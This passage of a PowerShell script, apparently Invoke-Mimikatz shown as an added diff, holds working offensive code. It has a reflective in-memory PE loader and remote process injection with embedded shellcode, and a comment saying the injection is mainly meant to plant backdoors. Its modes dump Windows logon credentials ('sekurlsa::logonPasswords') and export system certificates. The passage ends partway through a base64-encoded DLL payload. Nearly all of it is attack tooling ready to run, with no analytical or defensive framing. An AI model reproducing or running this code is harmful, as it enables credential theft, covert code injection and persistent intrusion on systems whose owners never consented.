[System.Runtime.InteropServices.Marshal]::PtrToStructure($OrdinalPtr, [Type][UInt16]) + $FuncOffsetAddr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfFunctions + ($FuncIndex * [System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt32]))) + $FuncOffset = [System.Runtime.InteropServices.Marshal]::PtrToStructure($FuncOffsetAddr, [Type][UInt32]) + return Add-SignedIntAsUnsigned ($PEHandle) ($FuncOffset) + } + } + + return [IntPtr]::Zero + } + + + Function Invoke-MemoryLoadLibrary + { + Param( + [Parameter( Position = 0, Mandatory = $true )] + [Byte[]] + $PEBytes, + + [Parameter(Position = 1, Mandatory = $false)] + [String] + $ExeArgs, + + [Parameter(Position = 2, Mandatory = $false)] + [IntPtr] + $RemoteProcHandle + ) + + $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) + + #Get Win32 constants and functions + $Win32Constants = Get-Win32Constants + $Win32Functions = Get-Win32Functions + $Win32Types = Get-Win32Types + + $RemoteLoading = $false + if (($RemoteProcHandle -ne $null) -and ($RemoteProcHandle -ne [IntPtr]::Zero)) + { + $RemoteLoading = $true + } + + #Get basic PE information + Write-Verbose "Getting basic PE information from the file" + $PEInfo = Get-PEBasicInfo -PEBytes $PEBytes -Win32Types $Win32Types + $OriginalImageBase = $PEInfo.OriginalImageBase + $NXCompatible = $true + if (($PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_DLLCHARACTERISTICS_NX_COMPAT) -ne $Win32Constants.IMAGE_DLLCHARACTERISTICS_NX_COMPAT) + { + Write-Warning "PE is not compatible with DEP, might cause issues" -WarningAction Continue + $NXCompatible = $false + } + + + #Verify that the PE and the current process are the same bits (32bit or 64bit) + $Process64Bit = $true + if ($RemoteLoading -eq $true) + { + $Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll") + $Result = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "IsWow64Process") + if ($Result -eq [IntPtr]::Zero) + { + Throw "Couldn't locate IsWow64Process function to determine if target process is 32bit or 64bit" + } + + [Bool]$Wow64Process = $false + $Success = $Win32Functions.IsWow64Process.Invoke($RemoteProcHandle, [Ref]$Wow64Process) + if ($Success -eq $false) + { + Throw "Call to IsWow64Process failed" + } + + if (($Wow64Process -eq $true) -or (($Wow64Process -eq $false) -and ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -eq 4))) + { + $Process64Bit = $false + } + + #PowerShell needs to be same bit as the PE being loaded for IntPtr to work correctly + $PowerShell64Bit = $true + if ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -ne 8) + { + $PowerShell64Bit = $false + } + if ($PowerShell64Bit -ne $Process64Bit) + { + throw "PowerShell must be same architecture (x86/x64) as PE being loaded and remote process" + } + } + else + { + if ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -ne 8) + { + $Process64Bit = $false + } + } + if ($Process64Bit -ne $PEInfo.PE64Bit) + { + Throw "PE platform doesn't match the architecture of the process it is being loaded in (32/64bit)" + } + + + #Allocate memory and write the PE to memory. If the PE supports ASLR, allocate to a random memory address + Write-Verbose "Allocating memory for the PE and write its headers to memory" + + [IntPtr]$LoadAddr = [IntPtr]::Zero + if (($PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE) -ne $Win32Constants.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE) + { + Write-Warning "PE file being reflectively loaded is not ASLR compatible. If the loading fails, try restarting PowerShell and trying again" -WarningAction Continue + [IntPtr]$LoadAddr = $OriginalImageBase + } + + $PEHandle = [IntPtr]::Zero #This is where the PE is allocated in PowerShell + $EffectivePEHandle = [IntPtr]::Zero #This is the address the PE will be loaded to. If it is loaded in PowerShell, this equals $PEHandle. If it is loaded in a remote process, this is the address in the remote process. + if ($RemoteLoading -eq $true) + { + #Allocate space in the remote process, and also allocate space in PowerShell. The PE will be setup in PowerShell and copied to the remote process when it is setup + $PEHandle = $Win32Functions.VirtualAlloc.Invoke([IntPtr]::Zero, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) + + #todo, error handling needs to delete this memory if an error happens along the way + $EffectivePEHandle = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, $LoadAddr, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) + if ($EffectivePEHandle -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process. If the PE being loaded doesn't support ASLR, it could be that the requested base address of the PE is already in use" + } + } + else + { + if ($NXCompatible -eq $true) + { + $PEHandle = $Win32Functions.VirtualAlloc.Invoke($LoadAddr, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) + } + else + { + $PEHandle = $Win32Functions.VirtualAlloc.Invoke($LoadAddr, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) + } + $EffectivePEHandle = $PEHandle + } + + [IntPtr]$PEEndAddress = Add-SignedIntAsUnsigned ($PEHandle) ([Int64]$PEInfo.SizeOfImage) + if ($PEHandle -eq [IntPtr]::Zero) + { + Throw "VirtualAlloc failed to allocate memory for PE. If PE is not ASLR compatible, try running the script in a new PowerShell process (the new PowerShell process will have a different memory layout, so the address the PE wants might be free)." + } + [System.Runtime.InteropServices.Marshal]::Copy($PEBytes, 0, $PEHandle, $PEInfo.SizeOfHeaders) | Out-Null + + + #Now that the PE is in memory, get more detailed information about it + Write-Verbose "Getting detailed PE information from the headers loaded in memory" + $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants + $PEInfo | Add-Member -MemberType NoteProperty -Name EndAddress -Value $PEEndAddress + $PEInfo | Add-Member -MemberType NoteProperty -Name EffectivePEHandle -Value $EffectivePEHandle + Write-Verbose "StartAddress: $PEHandle EndAddress: $PEEndAddress" + + + #Copy each section from the PE in to memory + Write-Verbose "Copy PE sections in to memory" + Copy-Sections -PEBytes $PEBytes -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Win32Types + + + #Update the memory addresses hardcoded in to the PE based on the memory address the PE was expecting to be loaded to vs where it was actually loaded + Write-Verbose "Update memory addresses based on where the PE was actually loaded in memory" + Update-MemoryAddresses -PEInfo $PEInfo -OriginalImageBase $OriginalImageBase -Win32Constants $Win32Constants -Win32Types $Win32Types + + + #The PE we are in-memory loading has DLLs it needs, import those DLLs for it + Write-Verbose "Import DLL's needed by the PE we are loading" + if ($RemoteLoading -eq $true) + { + Import-DllImports -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Win32Types -Win32Constants $Win32Constants -RemoteProcHandle $RemoteProcHandle + } + else + { + Import-DllImports -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Win32Types -Win32Constants $Win32Constants + } + + + #Update the memory protection flags for all the memory just allocated + if ($RemoteLoading -eq $false) + { + if ($NXCompatible -eq $true) + { + Write-Verbose "Update memory protection flags" + Update-MemoryProtectionFlags -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants -Win32Types $Win32Types + } + else + { + Write-Verbose "PE being reflectively loaded is not compatible with NX memory, keeping memory as read write execute" + } + } + else + { + Write-Verbose "PE being loaded in to a remote process, not adjusting memory permissions" + } + + + #If remote loading, copy the DLL in to remote process memory + if ($RemoteLoading -eq $true) + { + [UInt32]$NumBytesWritten = 0 + $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $EffectivePEHandle, $PEHandle, [UIntPtr]($PEInfo.SizeOfImage), [Ref]$NumBytesWritten) + if ($Success -eq $false) + { + Throw "Unable to write shellcode to remote process memory." + } + } + + + #Call the entry point, if this is a DLL the entrypoint is the DllMain function, if it is an EXE it is the Main function + if ($PEInfo.FileType -ieq "DLL") + { + if ($RemoteLoading -eq $false) + { + Write-Verbose "Calling dllmain so the DLL knows it has been loaded" + $DllMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint) + $DllMainDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr]) ([Bool]) + $DllMain = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DllMainPtr, $DllMainDelegate) + + $DllMain.Invoke($PEInfo.PEHandle, 1, [IntPtr]::Zero) | Out-Null + } + else + { + $DllMainPtr = Add-SignedIntAsUnsigned ($EffectivePEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint) + + if ($PEInfo.PE64Bit -eq $true) + { + #Shellcode: CallDllMain.asm + $CallDllMainSC1 = @(0x53, 0x48, 0x89, 0xe3, 0x66, 0x83, 0xe4, 0x00, 0x48, 0xb9) + $CallDllMainSC2 = @(0xba, 0x01, 0x00, 0x00, 0x00, 0x41, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x48, 0xb8) + $CallDllMainSC3 = @(0xff, 0xd0, 0x48, 0x89, 0xdc, 0x5b, 0xc3) + } + else + { + #Shellcode: CallDllMain.asm + $CallDllMainSC1 = @(0x53, 0x89, 0xe3, 0x83, 0xe4, 0xf0, 0xb9) + $CallDllMainSC2 = @(0xba, 0x01, 0x00, 0x00, 0x00, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x50, 0x52, 0x51, 0xb8) + $CallDllMainSC3 = @(0xff, 0xd0, 0x89, 0xdc, 0x5b, 0xc3) + } + $SCLength = $CallDllMainSC1.Length + $CallDllMainSC2.Length + $CallDllMainSC3.Length + ($PtrSize * 2) + $SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength) + $SCPSMemOriginal = $SCPSMem + + Write-BytesToMemory -Bytes $CallDllMainSC1 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC1.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($EffectivePEHandle, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $CallDllMainSC2 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC2.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($DllMainPtr, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $CallDllMainSC3 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC3.Length) + + $RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) + if ($RSCAddr -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process for shellcode" + } + + $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten) + if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength)) + { + Throw "Unable to write shellcode to remote process memory." + } + + $RThreadHandle = Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions + $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000) + if ($Result -ne 0) + { + Throw "Call to CreateRemoteThread to call GetProcAddress failed." + } + + $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null + } + } + elseif ($PEInfo.FileType -ieq "EXE") + { + #Overwrite GetCommandLine and ExitProcess so we can provide our own arguments to the EXE and prevent it from killing the PS process + [IntPtr]$ExeDoneBytePtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(1) + [System.Runtime.InteropServices.Marshal]::WriteByte($ExeDoneBytePtr, 0, 0x00) + $OverwrittenMemInfo = Update-ExeFunctions -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants -ExeArguments $ExeArgs -ExeDoneBytePtr $ExeDoneBytePtr + + #If this is an EXE, call the entry point in a new thread. We have overwritten the ExitProcess function to instead ExitThread + # This way the reflectively loaded EXE won't kill the powershell process when it exits, it will just kill its own thread. + [IntPtr]$ExeMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint) + Write-Verbose "Call EXE Main function. Address: $ExeMainPtr. Creating thread for the EXE to run in." + + $Win32Functions.CreateThread.Invoke([IntPtr]::Zero, [IntPtr]::Zero, $ExeMainPtr, [IntPtr]::Zero, ([UInt32]0), [Ref]([UInt32]0)) | Out-Null + + while($true) + { + [Byte]$ThreadDone = [System.Runtime.InteropServices.Marshal]::ReadByte($ExeDoneBytePtr, 0) + if ($ThreadDone -eq 1) + { + Copy-ArrayOfMemAddresses -CopyInfo $OverwrittenMemInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants + Write-Verbose "EXE thread has completed." + break + } + else + { + Start-Sleep -Seconds 1 + } + } + } + + return @($PEInfo.PEHandle, $EffectivePEHandle) + } + + + Function Invoke-MemoryFreeLibrary + { + Param( + [Parameter(Position=0, Mandatory=$true)] + [IntPtr] + $PEHandle + ) + + #Get Win32 constants and functions + $Win32Constants = Get-Win32Constants + $Win32Functions = Get-Win32Functions + $Win32Types = Get-Win32Types + + $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants + + #Call FreeLibrary for all the imports of the DLL + if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.Size -gt 0) + { + [IntPtr]$ImportDescriptorPtr = Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.VirtualAddress) + + while ($true) + { + $ImportDescriptor = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ImportDescriptorPtr, [Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR) + + #If the structure is null, it signals that this is the end of the array + if ($ImportDescriptor.Characteristics -eq 0 ` + -and $ImportDescriptor.FirstThunk -eq 0 ` + -and $ImportDescriptor.ForwarderChain -eq 0 ` + -and $ImportDescriptor.Name -eq 0 ` + -and $ImportDescriptor.TimeDateStamp -eq 0) + { + Write-Verbose "Done unloading the libraries needed by the PE" + break + } + + $ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi((Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$ImportDescriptor.Name))) + $ImportDllHandle = $Win32Functions.GetModuleHandle.Invoke($ImportDllPath) + + if ($ImportDllHandle -eq $null) + { + Write-Warning "Error getting DLL handle in MemoryFreeLibrary, DLLName: $ImportDllPath. Continuing anyways" -WarningAction Continue + } + + $Success = $Win32Functions.FreeLibrary.Invoke($ImportDllHandle) + if ($Success -eq $false) + { + Write-Warning "Unable to free library: $ImportDllPath. Continuing anyways." -WarningAction Continue + } + + $ImportDescriptorPtr = Add-SignedIntAsUnsigned ($ImportDescriptorPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR)) + } + } + + #Call DllMain with process detach + Write-Verbose "Calling dllmain so the DLL knows it is being unloaded" + $DllMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint) + $DllMainDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr]) ([Bool]) + $DllMain = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DllMainPtr, $DllMainDelegate) + + $DllMain.Invoke($PEInfo.PEHandle, 0, [IntPtr]::Zero) | Out-Null + + + $Success = $Win32Functions.VirtualFree.Invoke($PEHandle, [UInt64]0, $Win32Constants.MEM_RELEASE) + if ($Success -eq $false) + { + Write-Warning "Unable to call VirtualFree on the PE's memory. Continuing anyways." -WarningAction Continue + } + } + + + Function Main + { + $Win32Functions = Get-Win32Functions + $Win32Types = Get-Win32Types + $Win32Constants = Get-Win32Constants + + $RemoteProcHandle = [IntPtr]::Zero + + #If a remote process to inject in to is specified, get a handle to it + if (($ProcId -ne $null) -and ($ProcId -ne 0) -and ($ProcName -ne $null) -and ($ProcName -ne "")) + { + Throw "Can't supply a ProcId and ProcName, choose one or the other" + } + elseif ($ProcName -ne $null -and $ProcName -ne "") + { + $Processes = @(Get-Process -Name $ProcName -ErrorAction SilentlyContinue) + if ($Processes.Count -eq 0) + { + Throw "Can't find process $ProcName" + } + elseif ($Processes.Count -gt 1) + { + $ProcInfo = Get-Process | where { $_.Name -eq $ProcName } | Select-Object ProcessName, Id, SessionId + Write-Output $ProcInfo + Throw "More than one instance of $ProcName found, please specify the process ID to inject in to." + } + else + { + $ProcId = $Processes[0].ID + } + } + + #Just realized that PowerShell launches with SeDebugPrivilege for some reason.. So this isn't needed. Keeping it around just incase it is needed in the future. + #If the script isn't running in the same Windows logon session as the target, get SeDebugPrivilege +# if ((Get-Process -Id $PID).SessionId -ne (Get-Process -Id $ProcId).SessionId) +# { +# Write-Verbose "Getting SeDebugPrivilege" +# Enable-SeDebugPrivilege -Win32Functions $Win32Functions -Win32Types $Win32Types -Win32Constants $Win32Constants +# } + + if (($ProcId -ne $null) -and ($ProcId -ne 0)) + { + $RemoteProcHandle = $Win32Functions.OpenProcess.Invoke(0x001F0FFF, $false, $ProcId) + if ($RemoteProcHandle -eq [IntPtr]::Zero) + { + Throw "Couldn't obtain the handle for process ID: $ProcId" + } + + Write-Verbose "Got the handle for the remote process to inject in to" + } + + + #Load the PE reflectively + Write-Verbose "Calling Invoke-MemoryLoadLibrary" + #Determine whether or not to use 32bit or 64bit bytes + if ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -eq 8) + { + [Byte[]]$PEBytes = [Byte[]][Convert]::FromBase64String($PEBytes64) + } + else + { + [Byte[]]$PEBytes = [Byte[]][Convert]::FromBase64String($PEBytes32) + } + $PEBytes[0] = 0 + $PEBytes[1] = 0 + $PEHandle = [IntPtr]::Zero + if ($RemoteProcHandle -eq [IntPtr]::Zero) + { + $PELoadedInfo = Invoke-MemoryLoadLibrary -PEBytes $PEBytes -ExeArgs $ExeArgs + } + else + { + $PELoadedInfo = Invoke-MemoryLoadLibrary -PEBytes $PEBytes -ExeArgs $ExeArgs -RemoteProcHandle $RemoteProcHandle + } + if ($PELoadedInfo -eq [IntPtr]::Zero) + { + Throw "Unable to load PE, handle returned is NULL" + } + + $PEHandle = $PELoadedInfo[0] + $RemotePEHandle = $PELoadedInfo[1] #only matters if you loaded in to a remote process + + + #Check if EXE or DLL. If EXE, the entry point was already called and we can now return. If DLL, call user function. + $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants + if (($PEInfo.FileType -ieq "DLL") -and ($RemoteProcHandle -eq [IntPtr]::Zero)) + { + ######################################### + ### YOUR CODE GOES HERE + ######################################### + Write-Verbose "Calling function with WString return type" + [IntPtr]$WStringFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "PSMimikatz" + if ($WStringFuncAddr -eq [IntPtr]::Zero) + { + Throw "Couldn't find function address." + } + $WStringFuncDelegate = Get-DelegateType @([IntPtr]) ([IntPtr]) + $WStringFunc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WStringFuncAddr, $WStringFuncDelegate) + $WStringInput = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($ExeArgs) + [IntPtr]$OutputPtr = $WStringFunc.Invoke($WStringInput) + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($WStringInput) + $Output = [System.Runtime.InteropServices.Marshal]::PtrToStringUni($OutputPtr) + Write-Output $Output + ######################################### + ### END OF YOUR CODE + ######################################### + } + #For remote DLL injection, call a void function which takes no parameters + elseif (($PEInfo.FileType -ieq "DLL") -and ($RemoteProcHandle -ne [IntPtr]::Zero)) + { + $VoidFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "VoidFunc" + if (($VoidFuncAddr -eq $null) -or ($VoidFuncAddr -eq [IntPtr]::Zero)) + { + Throw "VoidFunc couldn't be found in the DLL" + } + + $VoidFuncAddr = Sub-SignedIntAsUnsigned $VoidFuncAddr $PEHandle + $VoidFuncAddr = Add-SignedIntAsUnsigned $VoidFuncAddr $RemotePEHandle + + #Create the remote thread, don't wait for it to return.. This will probably mainly be used to plant backdoors + $RThreadHandle = Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $VoidFuncAddr -Win32Functions $Win32Functions + } + + #Don't free a library if it is injected in a remote process + if ($RemoteProcHandle -eq [IntPtr]::Zero) + { + Invoke-MemoryFreeLibrary -PEHandle $PEHandle + } + else + { + #Just delete the memory allocated in PowerShell to build the PE before injecting to remote process + $Success = $Win32Functions.VirtualFree.Invoke($PEHandle, [UInt64]0, $Win32Constants.MEM_RELEASE) + if ($Success -eq $false) + { + Write-Warning "Unable to call VirtualFree on the PE's memory. Continuing anyways." -WarningAction Continue + } + } + + Write-Verbose "Done!" + } + + Main +} + +#Main function to either run the script locally or remotely +Function Main +{ + if (($PSCmdlet.MyInvocation.BoundParameters["Debug"] -ne $null) -and $PSCmdlet.MyInvocation.BoundParameters["Debug"].IsPresent) + { + $DebugPreference = "Continue" + } + + Write-Verbose "PowerShell ProcessID: $PID" + + + if ($PsCmdlet.ParameterSetName -ieq "DumpCreds") + { + $ExeArgs = "privilege::debug sekurlsa::logonPasswords exit" + } + elseif ($PsCmdlet.ParameterSetName -ieq "DumpCerts") + { + $ExeArgs = "privilege::debug crypto::patchcng crypto::patchcapi crypto::exportCertificates `"crypto::exportCertificates CERT_SYSTEM_STORE_LOCAL_MACHINE`" exit" + } + else + { + $ExeArgs = $Command + } + + [System.IO.Directory]::SetCurrentDirectory($pwd) + + + $PEBytes64 = "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